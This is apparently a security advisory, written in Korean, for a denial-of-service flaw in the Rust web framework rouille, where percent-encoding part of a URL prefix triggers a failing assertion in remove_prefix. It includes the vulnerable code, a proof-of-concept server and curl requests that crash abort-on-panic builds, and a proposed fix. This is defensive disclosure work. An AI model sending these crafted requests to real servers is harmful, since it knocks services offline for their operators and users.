
Security Advisory: Remote Denial of Service via Reachable Assertion in URL Prefix Handling (rouille)
지정된 CVE ID: CVE-2026-66754
Request::remove_prefix는 퍼센트 디코딩된 URL을 검사하지만 원시(raw) URL에 대해 단언(assert)합니다. 디코딩된 경로가 접두사로 시작하지만 원시 경로는 그렇지 않은 요청은 검사를 통과한 뒤 단언에 실패합니다. 접두사의 한 문자만 퍼센트 인코딩하면 충분합니다.
기본 빌드에서는 패닉이 포착되어 500으로 처리됩니다. panic = "abort"로 빌드한 경우에는 이를 포착할 수단이 없어, 인증되지 않은 GET 요청 한 번으로 서버 프로세스가 종료됩니다.
저장소 URL: https://github.com/tomaka/rouille
| 최초 영향 버전 | 0.1.6 (2016-09-22), remove_prefix가 도입된 릴리스 |
| 마지막 영향 버전 | 3.6.2 (2023-04-24), 현재 릴리스 |
| 영향 없음 | 0.1.5 및 그 이전, remove_prefix가 없음 |
| 수정 버전 | 작성 시점 기준 수정 버전 없음 |
이 함수는 해당 범위의 모든 릴리스와 현재 master에서 변경되지 않았습니다. Request::remove_prefix를 호출하는 애플리케이션이 영향을 받습니다. 이는 rouille가 URL 접두사 아래에서 정적 파일을 제공하기 위해 문서화한 패턴입니다(src/assets.rs 6675행, 811행).src/lib.rs 804
CWE-617(도달 가능한 단언), 이후 CWE-248(포착되지 않은 예외)로 이어집니다.
CVSS 4.0 기본 점수 8.2(높음)
CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N
GET 요청 하나를 보낼 수 있는 원격의 인증되지 않은 클라이언트. 자격 증명이나 사용자 상호작용이 필요 없습니다.
panic = "abort"는 Cargo의 기본값이 아니지만, 더 작은 바이너리와 더 낮은 오버헤드를 위해 흔히 선택하는 릴리스 프로필 설정입니다. rouille는 가용성을 위해 unwinding에 의존합니다. Server::process가 src/lib.rs 602행의 panic::catch_unwind에 의존하여 핸들러 패닉을 500으로 변환하기 때문입니다. 이 의존성은 문서화되어 있지 않습니다.
rouille/src/lib.rs, 813~822행:
813 pub fn remove_prefix(&self, prefix: &str) -> Option<Request> {
814 if !self.url().starts_with(prefix) {
815 return None;
816 }
817
818 // TODO: url-encoded characters in the prefix are not implemented
819 assert!(self.url.starts_with(prefix));
820 Some(Request {
821 method: self.method.clone(),
822 url: self.url[prefix.len()..].to_owned(),
814행은 퍼센트 디코딩을 수행하는 self.url()을 호출합니다. 819행은 원시 필드인 self.url에 대해 단언하고, 822행은 동일한 원시 필드를 슬라이싱합니다. 경로에 접두사 내부의 퍼센트 이스케이프가 포함되어 있을 때마다 두 표현이 일치하지 않습니다:
동일한 불일치로 인해 remove_prefix는 정당하게 퍼센트 인코딩된 경로를 라우팅하지 못하므로, 정확성 버그와 가용성 버그는 동일한 수정으로 해결됩니다.
1단계. 문서화된 접두사 관용구를 사용하여 서버를 시작합니다.
use rouille::Response;
fn main() {
rouille::start_server("127.0.0.1:8003", |request| {
if let Some(r) = request.remove_prefix("/static") {
return rouille::match_assets(&r, ".");
}
Response::text("home")
});
}
2단계. 정상 요청과 s가 퍼센트 인코딩된 동등한 요청을 보냅니다. --path-as-is는 curl이 경로를 정규화하지 못하게 합니다.
curl -sS -o /dev/null -w '%{http_code}\n' --path-as-is 'http://127.0.0.1:8003/static/x'
curl -sS -o /dev/null -w '%{http_code}\n' --path-as-is 'http://127.0.0.1:8003/%73tatic/x'
기본 빌드에서의 결과입니다. 첫 번째는 누락된 파일에 대한 일반적인 404이고, 두 번째는 500으로 변환된 패닉입니다:
404
500
stderr에는 다음과 같이 출력됩니다:
thread '<unnamed>' panicked at src/lib.rs:819:9:
assertion failed: self.url.starts_with(prefix)
3단계. 패닉 시 중단(abort-on-panic) 설정으로 동일한 프로그램을 다시 빌드하고 두 번째 요청을 반복합니다.
[profile.release]
panic = "abort"
cargo build --release
./target/release/<binary> &
curl -sS --path-as-is 'http://127.0.0.1:8003/%73tatic/x'
결과. 프로세스가 SIGABRT(종료 코드 134)로 종료되고 서버가 응답을 중단합니다. 요청 한 번, 인증 없이, 가용성이 완전히 상실됩니다.
panic = "abort"로 빌드한 경우 인증되지 않은 요청 한 번으로 서버가 중단됩니다. 기본 빌드에서는 경로에 접두사 내부의 퍼센트 이스케이프가 포함된 요청이 제공되는 대신 500을 반환하므로, 정상적인 클라이언트에 대해서도 라우팅이 올바르지 않습니다.
패닉은 src/lib.rs 643행과 649행에서 Server::process가 catch_unwind 외부에서 unwrap하는 뮤텍스를 오염(poison)시키지 못한다는 점에 유의하세요. remove_prefix는 Arc를 복제만 하고 가드를 보유하지 않기 때문입니다. unwinding 빌드에서는 작업자 스레드가 깨끗하게 복구됩니다.
비교와 슬라이싱을 동일한 표현에 대해 수행합니다. 가장 간단한 올바른 버전은 원시 URL을 비교하고 슬라이싱합니다:
pub fn remove_prefix(&self, prefix: &str) -> Option<Request> {
if !self.url.starts_with(prefix) {
return None;
}
Some(Request {
url: self.url[prefix.len()..].to_owned(),
..
})
}
디코딩된 비교 동작이 의도된 것이라면, URL을 한 번 디코딩하고 디코딩된 문자열에서 접두사를 제거한 다음, 원시 필드를 슬라이싱하는 대신 나머지를 다시 인코딩하세요.
어느 쪽이든 assert!는 제거되어야 합니다. 라이브러리는 공격자가 제어하는 입력으로 프로세스를 중단해서는 안 됩니다. rouille가 panic = "unwind"를 요구한다는 점을 문서화하거나, 정확성을 위해 catch_unwind에 의존하는 것을 제거하는 것도 도움이 될 것입니다.
| 원시 URL | url() 디코딩 결과 | 814행 | 819행 |
|---|
/static/x | /static/x | 통과 | 통과 |
/%73tatic/x | /static/x | 통과 | 실패 |
/stati%63/x | /static/x | 통과 | 실패 |